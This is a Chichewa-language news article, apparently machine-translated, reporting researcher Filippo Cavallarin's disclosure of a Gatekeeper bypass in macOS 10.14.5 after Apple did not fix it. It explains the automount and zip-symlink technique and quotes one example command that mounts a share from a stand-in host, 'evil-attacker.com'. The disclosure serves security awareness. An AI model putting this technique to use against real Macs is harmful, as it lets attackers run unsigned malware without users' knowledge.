Ndiosavuta kukhazikitsa pulogalamu yoyipa pa Mac. Apple sinakonze cholakwikacho ngakhale patatha miyezi itatu

Wofufuza zachitetezo Filippo Cavallarin adalemba chenjezo la cholakwika mu macOS 10.14.5 pabulogu yake. Izi zimakhala ndi kuthekera kodutsa njira zachitetezo za Gatekeeper. Malinga ndi Cavallarin, adawonetsa cholakwika kwa Apple kale mu February chaka chino, koma kampaniyo sinakonze izi posachedwa.

Woyang'anira zipata adapangidwa ndi Apple ndikuphatikizidwa mu makina ake ogwiritsira ntchito pakompyuta kwa nthawi yoyamba mu 2012. Ndi njira yomwe imalepheretsa kugwiritsa ntchito ntchito popanda kudziwa komanso kuvomereza kwa wogwiritsa ntchito. Mukatsitsa pulogalamu, Gatekeeper amangoyang'ana nambala yake kuti awone ngati pulogalamuyo yasainidwa bwino ndi Apple.

Mu positi yake ya blog, Cavallarin akunena kuti Gatekeeper, mwachisawawa, amawona zonse zosungirako zakunja ndi magawo a intaneti kukhala malo otetezeka. Ntchito iliyonse yomwe imakhala muzolinga izi imatha kukhazikitsidwa yokha popanda kudutsa cheke cha Gatekeeper. Ndi mbali iyi yomwe ingagwiritsidwe ntchito poyambitsa mapulogalamu oipa popanda chidziwitso cha wosuta.

Mbali imodzi yomwe imalola mwayi wopezeka mosaloledwa ndi mawonekedwe a automount, omwe amalola ogwiritsa ntchito kuyika gawo la netiweki pongotchula njira yoyambira ndi "/net/". Mwachitsanzo, Cavallarin amatchula njira "ls /net/evil-attacker.com/sharedfolder/" zomwe zingapangitse kuti opareshoni azikweza zomwe zili mufoda ya "sharefolder" pamalo akutali omwe angakhale oopsa.

Mutha kuwona momwe ziwopsezozo zimagwirira ntchito muvidiyoyi:

Chinthu chinanso ndi chakuti ngati zip archive yomwe ili ndi symlink yotsogolera ku automount function igawidwa, sidzayang'aniridwa ndi Gatekeeper. Mwanjira imeneyi, wovutitsidwayo amatha kutsitsa zosungidwa zoyipa ndikuzitsegula, zomwe zimalola wowukirayo kugwiritsa ntchito pulogalamu iliyonse pa Mac popanda wogwiritsa ntchito kudziwa. The Finder, yomwe imabisa zowonjezera zina mwachisawawa, ilinso ndi gawo lake pachiwopsezo ichi.

Cavallarin akunena pabulogu yake kuti Apple idafotokoza za kusatetezeka kwa makina opangira macOS pa February 22 chaka chino. Koma mkati mwa Meyi, Apple idasiya kuyankhulana ndi Cavallarin, motero Cavallarin adaganiza zolengeza poyera.

Chitsime: Mtengo wa FCVL